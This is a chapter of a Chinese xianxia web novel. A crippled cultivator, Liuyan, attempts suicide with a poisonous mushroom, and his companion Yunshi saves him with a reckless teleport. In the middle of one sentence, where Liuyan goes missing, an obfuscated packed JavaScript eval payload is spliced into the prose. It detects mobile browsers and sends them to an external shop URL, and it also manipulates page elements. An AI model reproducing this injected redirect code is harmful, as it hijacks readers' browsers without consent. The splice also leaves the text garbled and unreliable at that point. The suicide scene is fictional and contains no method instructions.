他放下玉简,转而开始研究符纸。纸鸢想办法给他弄来了一些最廉价的黄符纸和丹砂。正统的符箓之学博大精深,云实连门边都摸不到。但他发现,符纸、丹砂、符文,与他所理解的布料、丝线、纹样之间,似乎存在着某种底层逻辑的相通性:都是通过特定的载体、特定的纹路,将施术者的力量与意念引导、固定、释放出来。 这个发现让他找到了方向。他不再执著于符文玄义,转而剖析本质。他严格记录配比,反复调试笔锋的提按与灵力的缓急输送,观察线条形态与意念留存的关系。 绝大多数尝试以符纸自燃或纹路黯淡告终,但每次失败都勾勒出材料冲突或灵力过载的边界。在大量枯燥记录后,当特定粉末、笔触节奏与高度凝聚的屏护意念达到一种生涩却稳定的平衡时,朱砂痕迹终于短暂固住一层微光,传递出微弱却确凿的安定感。这效力短暂,却验证了路径的存在。 就在他沉迷于各种尝试时,一个偶然的观察给了他灵感。 那是一个雨后的下午,阳光穿透云层,形成一道道光柱,落在地上。他注意到,被阳光直射的地面,水汽蒸腾得快,连那些暗沉杂草都显得蔫了些;而阳光照不到的背阴处,潮湿和阴冷感则久久不散。 一个近乎异想天开的念头冒了出来。他想起小时候听过的志怪故事,什么妖魔鬼怪都怕日光正气。又模糊记得纸鸢提过,某些大宗门或有底蕴的家族,会用特殊的的材料覆盖重要建筑,以驱散阴晦。 他立刻托纸鸢下次来时,务必带一些“透光的布”,越轻薄、越能透过阳光越好。纸鸢虽然疑惑,还是照办了,给他带来了几匹质地稀疏的夏布和一种价格低廉、勉强透光的素纱。 云实如获至宝。他铺开素纱,反复刺绣一种极其简单的、如同波浪又如同光芒放射的纹样,一重又一重,密密麻麻,几乎覆盖了整个布面。他想象阳光透过这层层纹路,被梳理、被柔和,但那份光与净的特质却被留下、放大。 这个过程比他预想的更耗费心神。丝线不比灵力刻痕,它本身不具备灵质,全靠他刺绣时注入的微薄意念和灵力与丝线、布料本身的物理结构相结合。 他失败了无数次,绣出来的布匹要么平平无奇,要么纹路紊乱,反而让人觉得头晕。但他咬牙坚持,一点点调整针法、线的走向、意念的专注程度。 终于,当他将一块绣好的素纱对着阳光举起时,他看到了不同。阳光透过布匹,洒下的光斑似乎更澄澈了一些,空气中漂浮的微尘在那片光下都显得清晰而安宁。 他立刻着手,用这种绣了特殊纹样的透光布,搭配更结实的夏布做骨架,开始搭建一个简易的棚子。他将棚子搭在那片被污染的“废地”上,像给土地撑起一把巨大的、透光的伞。为了加固和防风防雨,他听从纸鸢的建议,在外面又覆盖了一层从远处城镇买来的、凡间用的厚实油布,纸鸢称它“塑料布”,云实觉得这名字古怪但顺口。 棚子搭好的头几天,看不出什么变化。云实每天都会进去查看,用自己越来越敏锐的感知去体会。土壤里的那股阴湿浊意,似乎被某种柔和的力量隐隐压制着,不再像之前那样活跃地外溢。而那些顽固的暗沉杂草,生长速度明显减缓了。 他将这思路转向更主动的造光。高阶阵法遥不可及,但他有自己积攒的经验:符纸承载意念,玉简稳固结构,布料则能柔化与弥散。数次调整后,这些绣片在棚内角落固定下来,与上方的光滤布呼应,确能令棚内浊意消退更快,土壤逐渐干爽,新播的种子终于颤巍巍地顶出了健康的绿芽。 “成了……”云实站在棚子下,看着那一点颤巍巍的、却实实在在的绿意,长长地舒了一口气。一股混着疲惫的暖流,慢腾腾地从心底涌上来。他蹲下身,指尖极轻地碰了碰那嫩芽的叶片。 时间在日复一日的开垦、实验与细碎劳作中悄然流逝。云实把搭棚子的手艺磨出来了。骨架用浸过药液的粗毛竹扎得深、绑得牢,能扛阴风。覆布的结构也优化了:最内层紧贴着他最新改进的绣纹“光滤布”,这层布如今纹路更精细均匀,透光性更好,对浊意的中和也更平稳持续;外层直接覆上厚实但半透明的防风油布,既能保护内层滤布,又能保证足够的光照进入。两层布之间,仅在特定支撑处加以细密间隔,确保空气流通,防止内部闷湿。八个这样结构扎实、透光通风的棚子立起来,罩住的地便连成了片。园圃里的绿意,虽然生长得慢,却因这更稳定的环境,一天比一天更扎实地铺展开。 土地被一寸寸夺回、净化,产出便需要安置。他们先是紧挨着小屋,盖起了一间夯土为墙、茅草覆顶的宽敞仓库。 不久,纸鸢来看了,说既有了仓库,往来运货、商议事情的人总不能老挤在堂屋或露天站着,于是又张罗着,在仓库旁起了间更规整些的大客房,里面用原木搭了通铺,简陋却干净。房子盖起来,水源便成了要紧事。 云实下狠劲,在靠近山坡的稳定处挖了一口深井,又花了大力气,将附近一条渗着阴凉浊气的小溪源头设法净化、引流,清冽的水通过劈开的竹渠,潺潺流入园圃和屋舍旁新挖的蓄水池。 有了相对干净的水,纸鸢的另一个念头便得以实现。他们在溪流下游平整处,盖起了一座通风敞亮的纺织平房。纸鸢将自己生意中处理坯布、进行初次分拣和储存的环节,逐步挪到了这里。 仓库里,整齐码放着用储物袋分装好的谷物。这种最低级的仙家器物,如今被他们用最务实的方式,最大化地利用着防潮、防虫、保鲜的功能。浇水也不再全靠肩挑手提,云实结合对水流的理解,弄出几个简陋却有效的引水符,固定在渠口,便能定时定量地引水灌溉。 云实不再满足于制作那些散发安宁气息的小玩意,而是开始尝试刻画真正具有震慑与驱离效果的护符。他将这些护符埋设在园圃边界、水源地和屋舍四周。 夜间,林间偶尔传来的窥视与蠢动,在触及这片被无形力场笼罩的区域时,往往会迟疑、退却。菜园不再被莫名的力量侵扰破坏。 在这日复一日的全力运转、灵力不断消耗与恢复的极限压榨下,云实自己都未刻意去衡量的修为,竟如同被反复锻打的铁胚,在某个寻常的黄昏,当他独自修复完一块濒临崩坏的边界护符后,水到渠成般地连续突破了关隘,稳稳踏入了一个全新的层次,跃迁期。 他对周围环境中那些无形矛盾的感知,骤然清晰了数倍,体内那股斑杂却强悍的力量,流转起来也仿佛卸去了一些滞涩。 界碑林边缘,这个曾经风雨飘摇的落脚点,如今已是一个功能粗备、艰难运转着的小小据点。它依然脆弱,依然笨拙,每一个环节都浸透着汗水与殚精竭虑,但确确实实,他们在这里扎下了一点微末的、属于自己的根。 不知不觉,竟已过去一年半有余。 界碑林的四季更迭并不明显,但云实能从草木的枯荣、空气的寒暖中感知时间的流逝。他脸上褪去了最初的青涩与惶惑,取而代之的是一种被风霜磨砺出的沉静,以及长期专注思考留下的深刻痕迹。 变化不仅发生在界碑林边缘。 纸鸢带来的外界消息,口吻从最初的紧张、忧虑,逐渐变得复杂,最终成为一种带着浓浓困惑与不确定的平静。 “外面的仗……好像打不起来了。” 一次,纸鸢来送补给时,坐在扩建后显得宽敞了些的堂屋里,抿着云实自己种的、炒制手法拙劣的苦茶,眉头微蹙。 “打不起来了?”予正在旁边帮忙捆扎新收的草药,闻言抬起头,“之前不是说要征兵,要清剿,闹得沸沸扬扬吗?” “是闹过。”纸鸢放下粗糙的陶杯,“但很奇怪。大规模的冲突始终没有爆发。魔物袭扰似乎被限制在几个固定的、远离主要城镇和耕地的区域。那些闹得最凶的流民聚集地……你猜怎么着?” 云实停下手中正在一块新布上打底稿的炭笔,看向她。 “温言。”纸鸢吐出这个名字,语气微妙,“他和他手下的人,活跃在那些地方。他们带去粮食、衣物、药品,帮助重建被毁的房屋,甚至……组织那些流民中的青壮,以工代赈,清理废墟,修建简单的防御工事。手段……很高明,该强硬的时候毫不手软,该怀柔的时候又显得真诚。一来二去,最尖锐的矛盾居然被一点点磨平了。现在外面传的都是温言大人如何仁善,如何能干,四明宗如何秉持公道,平息祸乱。” 予眨眨眼:“这不是好事吗?不打仗了。” “好事?”纸鸢冷笑一声,嘴角的弧度却没多少暖意,“若真是菩萨心肠,那自然是好事。可你们不觉得太巧了么?乱子起来的时候,总有他或明或暗的影子;等到民怨沸腾、眼看要烧成不可收拾的大火了,又是他恰好带着人手粮草出现,当那个救苦救难的及时雨。流民感激他,官府赞赏他,宗门觉得他有担当,朝廷也记住了四明宗的好。他温言的名字,如今在北地几个州府,比许多积年的老官都要响亮。” 她顿了顿,指节无意识地敲着粗糙的桌面,声音低了些,带着一种生意人特有的、对风向变化的敏锐与无奈:“面上是稳了,货流通了,路上的匪患少了,大户们弹冠相庆。可像我家这样没什么靠山、全凭自己手脚挣饭吃的,日子反倒更难了。要紧的货源被几家突然冒出来的大商号把持着,价钱抬得高不说,还要看人脸色。以前零零散散还能接些官府的边角活计,现在?全被那些有背景的揽去了。说是稳定,实则是把散碎饭食都收拢到几个大盘子里,规矩多了,缝隙却少了。我这生意……不过是仗着还有点老关系和云实的技术,又做得偏门,勉强撑着罢了。这稳定的滋味,落到我们这些升斗小民头上,可未必是甘霖。” 她看向云实,目光锐利:“更重要的是,我打听到,那些他帮助过的地方,隐隐形成了一种新的秩序。不是原有的官府或宗门直接管辖,而是一种更松散、但似乎效率不低的自治,背后……都有温言留下的人或影响力在协调。他像是在……织网。把那些散落的、动荡的力量,一点点收拢、编织到他想要的图案里去。” “他应该暂时不会来打扰我们。”云实最终开口,声音平静,“外面有更大的画布让他施展。我们这里,太小,太偏,不值得他现在花费心思。” 他顿了顿,看向窗外那片在光滤布棚下艰难生长、却顽强存活的菜畦,“但这未必是坏事。他给我们……也给了这世间无数像我们一样只想挣扎求存的人,一段难得的喘息时间。” 纸鸢点了点头,脸上的忧色未减:“只是不知道,他这幅画最终要画成什么样子。等到他真的不需要再掩饰,或者他的画布铺到我们脚下的时候……” 但那是以后的事了。 …… 修为的精进,于云实而言,从来不是件需要特意打坐、焚香、感应天地的大事。它更像是在日复一日的辛劳与琢磨中,身体与灵力被反复锻打、挤压后,于某个不经意的瞬间,自然而然发生的松动与拓宽。 那所谓跃迁期与环流期的到来,安静得几乎难以察觉,甚至被他自己完全忽略了。只依稀记得有那么两个格外沉闷晦暗的日子。头一天,天色铅灰,低垂得仿佛要压到棚顶,空气凝滞得没有一丝风,界碑林深处传来一种压抑的隆隆声。 云实正忙着加固引水竹渠,他感觉到体内灵力流转比平日滞涩,心头也莫名有些烦闷,像是被这天气传染了。他只当是自己连日劳累,加上这鬼天气扰人,便更专注地调动灵力,配合着体力,将河道疏浚得更深、更顺畅些,仿佛疏通的不仅是水流,也是自己心头那股无名的憋闷。 忙到天色完全黑透,雨终究没下下来,但那沉甸甸的压迫感却挥之不去。他拖着越发疲惫的身体回到小屋,草草洗漱,便挨着流衍沉沉睡去,一夜无梦,只是睡得极沉,仿佛连神魂都陷入某种深沉的调整。 第二天醒来时,天色竟已大亮。预期的阴雨并未降临,反而是一片难得的、清透的晴空。阳光毫无阻碍地洒下来,穿透棚子的油布,在园圃里投下明亮的光斑。 云实推开房门,深深吸了口气,一股清凉之意直透肺腑,昨夜残留的烦闷荡然无存。他只觉得头脑异常清醒,身体虽然还有些劳作后的酸软,但灵力运转间,似乎少了些之前的滞涩,多了几分难以言喻的流畅。一些之前苦思不得其解的纹路难题,此刻脑海里竟自然浮现出几个隐约可行的调整方向。 看着眼前这片自己一手一脚、磕磕绊绊打理出来的园圃屋舍,那份长久以来如影随形的焦虑与紧迫感,似乎被这清澈晨光稀释了许多,取而代之的是一种更沉得住气的耐心。他转身回屋照料流衍时,动作似乎也更稳、更轻了些。 这变化细微而自然,他全然未将其与境界突破联系起来。修仙者的雷劫、心魔、天地异象?那离他太遥远了。他只觉得是睡了个好觉,天气转晴,人自然就精神了,思路也开阔了。 至于体内灵力循环构建起更稳固的内在通路的环流期,对不同维度矛盾力量的感知与调节能力跃升了一个台阶的跃迁期,这些玄之又玄的东西,远不如眼前水渠是否畅通、流衍今天能否多喝半碗粥来得实在。 直到后来,天蕴仙尊偶然一次来访,仔细探查了他的状况后,眼中掠过一丝极淡的讶异,才点破他已然跨越了那些对寻常修士而言堪称天堑的关卡。 “你……倒是另辟蹊径。”天蕴的语气有些复杂,“灵力根基驳杂却异常实在,像是用最笨的功夫,一砖一瓦硬垒起来的。跃迁与环流的完成,竟能如此……波澜不惊。” 她甚至坦言,以云实目前展现的这种扎实到近乎蛮横的根基积累,以及对力量那种独特而粗糙的编织与运用能力,其未来潜在的厚度与可能性,连她也难以轻易估量。云实听了,也只是茫然地点点头。 与此形成微妙对比的,是流衍的好转。 流衍的身体确实一天天好起来了。每一步进展都让云实欣喜不已,他会特意放慢手里的活计,目光追随着流衍移动的身影,哪怕只是从屋门口走到棚子边这短短十几步,他也看得目不转睛,仿佛那比任何灵草破土都更值得庆祝。 流衍开始能做些极轻省的活计。他坐在阳光好的地方,用尚且不太灵便的手指,慢慢分拣草药种子,将饱满的和干瘪的分开。他也尝试过拿起针线,跟着云实学那最简单的刺绣基础,说是想帮忙,哪怕只是缝补。 可他拿惯了剑、结惯了法印的手指,对着纤细的绣花针和柔软的丝线,总显得笨拙而僵硬,绣出来的线迹歪斜扭曲,与云实那虽然粗糙却自有章法的纹路天差地别。他常常绣不了几针,便沉默地放下,望着那不成样子的布片出神,眼神空茫,不知在想什么。 渐渐地,云实发现,流衍话越来越少了。以前他躺着不能动时,虽然也沉默,但云实给他擦身、喂药、按摩时,他能感受到对方目光的跟随,偶尔眼神交汇,流衍眼中虽有痛苦不甘,却还有着清晰的、属于流衍的情绪传递过来。 可现在,他能走能动,恢复得越来越好,那种清晰的在场感反而在减弱。他依旧按时喝药,配合复健,做着力所能及的事,但大多数时候,他只是安静地待着,坐在屋檐下看书。 他一坐就是大半天,书页却未必翻动几篇;拄着拐在园圃边慢慢走,目光扫过那些生机勃勃的菜苗和棚架,眼神却像是穿过了它们,落在不知名的远处;云实忙完一阵,满身尘土汗水地回来,兴冲冲地跟他讲今天又改进了哪个棚子的结构,护符的哪个节点调整后效果更持久了,流衍往往只是听着,偶尔嗯一声,表示知道了,却很少接话,更少像以前那样,即便虚弱,也会简短地问询或给出一点基于他广博见识的看法。 那层无形的隔膜,似乎随着他身体的站立,而悄然竖立了起来。 云实不是感觉不到。夜里,两人依旧睡在里屋,流衍在床上,云实在床边的地铺。黑暗中,他能听到流衍比以往更清浅、却似乎带着某种刻意控制的呼吸声,不再有重伤昏沉时那种无意识的沉重或痛楚的轻哼。有时他想说点什么,问问对方是不是哪里不舒服,或者白天是不是闷着了,话到嘴边,却又咽了回去。因为他能感觉到,那股沉默并非源于身体不适,而是一种更深沉的、他暂时无法触及也无力化解的东西。像是有什么重要的部分,随着重伤与修为尽废,一起被留在了那个濒死的夜晚,如今这个能行走、能看书的流衍,只是一个徒有其表的空壳,内里装着无法言说的废墟。 他想靠近,想打破这沉默。可每每看到流衍独自立在夕阳余晖中的侧影,挺拔依旧,却透着一股子萧索的孤寂,云实就觉得喉咙发紧,所有想说的话都堵在那里,笨拙得找不到出口。他更怕自己贸然的关切,反而像一根针,刺破对方勉强维持的平静,暴露出底下更不堪的创口。 而且,他真的太忙了。大棚需要定期检查维护,绣纹布匹要更新,护符要补充刻画,水渠要清理,新开垦的土地要持续净化,纺织平房那边偶尔也需要他调试一些简单的、辅助理线的灵力小机关……纸鸢的生意网络需要稳定供货,予虽然能干,毕竟年轻,许多精细或需要判断的活计离不开他。 他像一只被无数丝线牵扯的陀螺,从日出转到日落,每一刻都被具体而微的生存所需填满。 分身乏术之下,他将更多日常陪伴和照料流衍的担子,托付给了予。 “予,流衍师兄今天看书好像久了些,你记得提醒他起来活动活动,别窝着了。”“予,这新做的枣泥糕,你拿给师兄,看他吃不吃得下。”“予,师兄要是想去溪边走走,你务必扶稳了,那边石头滑。”…… 他叮嘱得仔细,予也答应得爽快,拍着胸脯保证:“放心吧云实哥,包在我身上!我保管把师兄哄得开开心心的!” 予确实尽心。他陪着流衍散步,搜肠刮肚地讲外面听来的趣闻,虽然十有八九流衍只是静静听着,偶尔点头;他变着花样准备清淡可口的点心,虽然流衍往往只动一两筷子;他甚至在流衍又一次对着绣绷发呆时,大咧咧地拿起针,说自己也要学,绣出来的鬼画符比流衍的还难看,倒是把流衍看得愣了一下,随即极淡地摇了摇头,似是无奈,又似有一丝几乎无法捕捉的松动。 可予再尽心,终究替代不了云实。有些沉默,只有在特定的人面前,才会显露;有些距离,也只有在最想靠近的人那里,才显得格外遥远。 流衍失踪了。 起初,云实并没太在意。界碑林边缘这片他们亲手开辟出来的地方说小不小,说大也不大,流衍如今能拄拐走挺远,或许只是去溪边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934585|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清净处坐坐,或是到某个棚子后面看看新发的菜苗。直到日头偏西,该用晚饭了,还不见人影,予挠着头说下午好像看见师兄往林子东头慢慢去了,云实心里才咯噔一下。 东头,那是他们日常活动范围的边缘,再往里,便是更幽深、更未经清理、潜藏着未知风险的界碑林腹地。流衍从不会独自去那边。 “我去找找。” 云实放下手里正在调试的护符玉片,声音还算镇定,但脚步已带上了急意。他先沿着平日流衍常走的小径快速寻了一遍,没有。又扩大范围,呼喊流衍的名字,声音在林间回荡,惊起几只宿鸟,却无人应答。天色迅速暗沉下来,林间的阴影拉长,仿佛张开了无声的巨口。 云实的心一点点沉下去。他回到小屋,抓起那柄旧柴斧,又带上几枚应急的护符和照明用的、嵌了微弱明光石的简陋灯笼。 “予,你看好家,我进林子深处找。”他的声音绷紧了。 予也慌了:“云实哥,天快黑了,里面危险!要不我跟你一起去?” “不用,你留下,万一……万一他绕路从别处回来。”云实没再多说,一头扎进了渐浓的暮色里。 第一天夜晚,云实几乎没合眼。他凭借对地形的熟悉和对灵力波动的敏锐感知,在黑暗的林间穿梭呼喊。灯笼的光只能照亮眼前尺许,四周是影影绰绰的怪树和仿佛永无止境的寂静,偶尔传来不知名虫豸的嘶鸣或远处模糊的窸窣声,都让他心头骤紧。他既盼着下一秒就能看到流衍拄着拐的身影,又怕看到的是更不堪的景象。灵力消耗得飞快,汗水湿透衣衫,又被夜风吹得冰凉。后半夜,他不得不退回相对安全的区域,稍作调息,天蒙蒙亮便又立刻出发。 第二天,第三天……搜索的范围不断扩大。云实像是疯了一样,不知疲倦。他攀上陡坡,滑下深谷,探查每一个可能藏身的岩缝或树洞。荆棘划破了他的衣服和皮肤,林间的湿浊之气试图侵染他的护身灵光,他都浑然不觉。脑子里只有一个念头:找到他,必须找到他。那种即将失去的恐惧,比任何身体的疲惫或外界的危险都更啃噬人心。他甚至开始后悔,后悔自己这些日子只顾着埋头打理那些棚子、土地、符箓,后悔没有多花时间陪流衍说话,没有更早察觉他沉默下的暗流汹涌。如果流衍真的出了事……这个念头让他浑身发冷,不敢深想。 第四天下午,就在云实几乎要绝望,准备冒险向更深处、那些他平日都尽量避免触及的危险区域探寻时,他在一处背阴山坡的乱石堆后,发现了一个极其隐蔽的狭窄洞口。洞口有新鲜踩踏的痕迹,附近的草木沾染着一丝极淡的、属于流衍的、微弱却熟悉的气息。 心脏狂跳起来,混合着希望与更深的恐惧。云实压低身体,钻进洞口。洞壁渗着水,空气阴冷潮湿。就在洞底一块稍干的平坦石面上,流衍背对着洞口,盘膝而坐。他竟没有拄拐,只是那么坐着,身影在昏暗的光线下显得单薄而孤绝。 “流衍!”云实的声音干涩嘶哑,带着连日呼喊的疲惫和找到人的激动,猛地冲上前。 流衍的身体几不可察地僵了一下,但没有回头,也没有动。 云实冲到近前,这才看清,流衍的脸色是一种不正常的苍白,额角有细密的冷汗,嘴唇紧抿,放在膝上的双手微微颤抖。他周身,竟然萦绕着一丝极其微弱、极其不稳定、且带着明显痛苦挣扎意味的灵力波动。 他在试图运转功法! “你……”云实一把抓住流衍的手臂,触手冰凉,“你不能运功!快停下!你忘了天蕴仙尊怎么说的吗?五十年内妄动灵力,会要了你的命!” 恐慌攫住了他,比找不到人时更甚。 流衍被他抓住,似乎从某种沉浸的状态中被强行拉出。他极缓慢地、极其艰难地,一点一点散去了那丝危险的灵力波动,身体晃了晃,几乎坐不稳。他转过头,看向云实,那双曾经清亮如今却蒙着浓重阴翳的眼睛里,没有任何被找到的喜悦或庆幸,只有一片深不见底的疲惫,和某种近乎决绝的平静。 “我不需要你来找。” 流衍的声音很低,没什么力气,却字字清晰,带着一种刻意的疏离。 “你说什么胡话!” 云实又急又气,手下用力,想把他拉起来,“先回去!这里又冷又潮,你的身体受不住!” 流衍却挣脱了他的手,虽然那挣脱的力道微弱得可怜。 “我在这里运功。” 他重复道,像是陈述一个简单的事实。 “运功?你知不知道那有多危险?万一……万一你死了怎么办?!” 云实的声音颤抖起来,连日来的焦虑、恐惧、疲惫,在这一刻几乎要冲破喉咙。 流衍静静地看着他,看了很久,久到云实几乎以为他又要陷入那种封闭的沉默。然后,他极其轻微地扯动了一下嘴角,那不是一个笑容,而是一种近乎残忍的自我嘲讽。 “死了……就死了吧。” 他说,语气平淡得不像在谈论自己的生死,“我要是不能保护你,不能做任何有用的事,就这么不死不活地拖着……又有什么用呢?” “你胡说什么!” 云实眼睛红了,不知是气的还是怕的,“谁说你不有用?你在这里,好好的,就是最大的……!现在还有四十几年,我们可以等!我们都是修仙者,寿命比凡人长得多,我可以等,我们一起等!总能找到办法的!我们可以一直在一起的!” “等……” 流衍喃喃重复着这个字,眼神飘忽了一瞬,又落回云实焦急的脸上,“我有点等不起了,云实。” 他的声音里终于泄露出了一丝深藏的、压抑到极致的痛苦,“我的身体……或许等得起。但我的心……等不起了。” 他顿了顿,似乎在下定决心说出后面的话,目光转向幽暗的洞壁,不再看云实。 “我是不是……没跟你讲过我家里的情况?” 流衍的声音在空旷的石洞里显得格外清晰,也格外寂寥,“我没有娘,也没有兄弟姐妹。只有一个爹,身体一直不好,是一种很罕见、很难治的痼疾。从小,我就知道我和别人不一样。测出修行天赋那天,我爹拉着我的手,老泪纵横,说‘衍儿,爹以后就全靠你了,咱们家的指望,都在你身上了’。” “我拼了命地修炼,不敢有一丝懈怠。除了修炼,就是到处打听能缓解他病痛的方子,搜罗可能用上的药材。我赚来的灵石、宗门给的补贴,几乎都花在了给他求医问药上。我看着他被病痛折磨,看着他一天天衰弱,我能做的却那么有限……后来,他走了。走的时候,拉着我的手,说‘爹这辈子,苦是苦,但有你这个儿子,值了。’他走得很平静,没有太多痛苦。那时候我以为……我以为,能给身边的人带去安稳,让他们依靠,看着他们因为自己的努力而过得稍微好一点,就是这世上最实在、最让人心安的幸福了。” “可是后来……” 流衍的声音低了下去,“后来你告诉我,就因为几句话,就被通缉,被追杀,流离失所,连家人都受牵连……我发现,我所以为的那种幸福,太脆弱了,像琉璃盏,看着漂亮,一碰就碎。我还是想带给别人幸福,想保护想保护的人。可我好像……除了修行上那点还算不错、但也仅仅是不错的天赋,什么也没有。这点天赋,刚好够我在同辈里显得出众,够我接住师尊和宗门的期待,可真的遇到事情,遇到像温言那样的人,遇到这不讲道理的世道……它就远远不够了。” 他闭上眼,喉结滚动了一下。 “我还有可笑的面子和原则。有些事,我觉得不该做,不能做,心里过不去那道坎。所以我也上不去,卡在那里,不上不下。我喜欢你……” 他重新睁开眼,目光复杂地看向云实,那里有挣扎,有坦诚,也有更深的无力,“可能更多是因为,我看到你和我,从某种意义上,是同类。都在挣扎,都想抓住点什么,保护点什么,也都……活得挺狼狈。” “就是因为是同类,我才更不想……成为你的拖累。” 流衍的声音终于带上了一丝不易察觉的颤音,“就算你一次次说没有,说心甘情愿。可和你待在一起,看着你忙里忙外,撑起这一切,而我只能看着,连搭把手都笨拙又没用……那种感觉,每天都在啃我。我没办法假装心安理得。” 云实怔怔地听着。山洞里的阴冷仿佛渗进了骨头缝。他从未听流衍如此长篇地讲过自己的过去,讲这些深埋心底的疮疤。 “你知道……” 云实开口,声音有些沙哑,他舔了舔干裂的嘴唇,“你知道我上次和纸鸢聊到半夜才回来……后来,我又偷偷去了一次京城吗?” 流衍看向他,眼神微动。 “我想试试,看能不能……把我爹娘接回来,或者至少,再见我弟弟一面,说清楚。” 云实垂下眼,看着自己沾满泥土草屑、还有新添擦伤的手,“我见到了。我娘哭,我爹叹气,说我弟现在出息了,在温大人手下做事,前程大好,让我别去搅和,让他们过几天安生日子。我弟……他见到我,像见到仇人,说我就是见不得他好,说我的存在只会给家里招祸,让我滚,永远别再出现。” 他顿了顿,自嘲地笑了笑,“你看,我也没能给他们一个很好的生活,没能保护他们。说起来,我反而拖累了好多人,爹娘,弟弟,还有你……” “这样很正常。” 流衍忽然接话,语气恢复了那种平静的陈述,“当你对抗的东西很笼统、很庞大的时候,就会这样。力不从心,事与愿违。” “对。” 云实点点头,抬起眼,直视流衍,“所以,才更要找到自己的方法。不是硬碰硬,不是照着别人定好的路去走。就像我搞这些棚子,这些布,这些玉简……笨是笨,慢是慢,可它有用,它是我能抓住的、实实在在的东西。” “问题就出在这里。” 流衍的声音里透出深深的疲惫,还有一种近乎绝望的清醒,“我没有什么特别拿得出手的东西。我的修行路,是正统的路,是按部就班的路。现在这条路断了。剩下的我……大概也就只剩下这点还算扎实的修为底子,和一点对灵气、对阵法、对正统法术的认知。可这些,在不能动用灵力的情况下,有什么用?去当个理论先生?还是等将来万一真有大战,变成某种……稍微高级一点的战争耗材?” 他扯了扯嘴角,那弧度比哭还难看:“所以我才想来找你。我想看看你做的事,想或许……能帮上点什么,哪怕只是看着,学着。可是你又在忙……忙的就是我想干、却干不了的事。我看着,觉得自己像个多余的影子。这种感觉……很难过,云实。比受伤疼,比修为废了,还让人难过。” 云实的心脏像是被狠狠攥住了,酸涩胀痛。他想说什么,想反驳,想安慰,却发现所有语言在流衍这份清醒的绝望面前,都苍白无力。 “别这样想,” 他最终还是只能干巴巴地挤出这句话,徒劳地伸出手,想碰碰流衍冰凉的手,“总会有办法的,我们一起想……” 流衍却避开了他的手,目光投向洞口透进来的、那一线微弱的天光,声音轻得像叹息:“之前修行的时候,辨认野外植物、包括哪些有毒哪些可用,也是必修的课程之一。” 云实心头猛地一跳,一种极其不祥的预感瞬间攫住了他。 “这个山洞附近,长着一种灰斑鹅膏菌,毒性很强,发作不算最快,但几乎无解。” 流衍的语气平静得可怕,仿佛在谈论天气,“我来之前,吃了一些。按照现在的时辰计算,就算你立刻把我传送到天蕴师尊那里,或者找到这世间医术最高超的人……也来不及了。” 他转回头,看向瞬间面无人色的云实,眼中那片浓重的阴翳似乎散开了一些,露出底下一点奇异的、近乎温柔的平静。 “在我死之前,陪陪我吧,云实。” 他说,声音很轻,却带着一种不容拒绝的恳求,“就坐在这儿,别说话,或者……说点什么都行。给我送个行,好吗?” 时间仿佛在那一刻凝固了。山洞里死一般的寂静,只有水滴从岩壁渗落的声音,滴答,滴答,像是生命流逝的倒计时。 云实的大脑一片空白。他盯着流衍苍白的脸,盯着他平静得近乎诡异的眼睛,耳朵里嗡嗡作响,几乎听不清自己心脏疯狂擂动的声音。 下一瞬间,所有的理智、恐惧、慌乱,全都烧成了熊熊的、不顾一切的火焰。 他猛地扑上去,不是拥抱,而是一把紧紧抓住了流衍的手腕,力道大得几乎要捏碎骨头。他的眼睛赤红,声音因为极度的情绪冲击而扭曲变调,几乎是吼出来的:“你闭嘴!想都别想!” 他没有丝毫犹豫,甚至没有去思考成功率,没有去衡量自己剩余的灵力是否足够。长久以来对阵法、对符文、对空间引导最基础原理的钻研,对界碑林此地特殊地脉气机的熟悉,以及对天衡宗护山大阵那一点点来自流衍昔日指点、来自天蕴偶尔提及的模糊感知,在这一刻,被他全部、疯狂地调动起来。 他另一只手猛地拍向冰冷潮湿的地面,体内那斑杂却在此刻爆发出惊人凝聚力的灵力汹涌而出,混合着他近乎燃烧的意志,强行在地上勾画。没有朱砂,没有阵盘,没有精密的计算。指尖逼出的血珠混合着灵力,在地上涂抹出歪歪扭扭、却蕴含着强烈导向与突破意念的痕迹。 空间开始扭曲,光影错乱,山洞内发出不堪重负的低鸣。云实七窍都渗出了血丝,但他不管不顾,只是死死抓着流衍,用尽全身力气,将他往那个闪烁着危险光芒的通道口拖拽。 下一刻,强光吞没了一切。 三天后。 界碑林边缘,小木屋前,空气静得压抑。予蹲在门口,眼睛红肿,不时担忧地朝屋里张望。 屋里,流衍的呼吸虽然微弱,却平稳悠长。他昏睡着,眉宇间还残留着痛苦挣扎后的痕迹,但生命的气息确确实实地存在着。 天蕴站在床边,眼底深处有一丝极淡的、几乎无法察觉的倦意。她刚刚收回按在流衍腕脉上的手。 “毒性暂时压制住了,侵入心脉的部分也已拔除。但他脏腑受损不轻,加之强行催动那点微末灵力引发旧伤反噬,需要长时间静养。” 天蕴的声音平静无波,目光却转向一直僵立在屋角阴影里的云实,“你那个传送……莽撞至极,空间乱流几乎撕碎他。若非我恰好就在附近,感应到你那不计后果的灵力爆发赶来接应,他此刻已是一具尸体。” 云实垂着头,他听到流衍没事,紧绷到极致的心弦骤然一松,随之而来的却不是庆幸,而是一种更沉重的、几乎要将他压垮的虚脱和后怕,以及……一种连他自己都辨不明缘由的、熊熊燃烧的怒意和冰冷的隔阂。 他不敢看床上的流衍,甚至不敢看天蕴。他的目光落在自己沾满泥土、血迹和灵力焦痕的鞋面上,嘴唇抿成一条苍白的直线。 天蕴看着他这副样子,几不可闻地轻叹一声。 “人交还给你。该用的药我已留下,用法写在纸上。他短期内不会醒,醒了也需绝对静卧,不可再有任何情绪激动或灵力波动。” 她顿了顿,目光落在云实紧绷的侧脸上,“云实,你……” 云实极其艰难地抬起头,看向天蕴。那双总是沉静或专注的眼睛里,此刻布满了血丝,眼眶通红,眼神却空洞得厉害,仿佛魂灵还滞留在三天前那个疯狂撕裂空间的山洞里。他嘴唇动了动,干裂的唇瓣上还沾着一点未擦净的血痂。 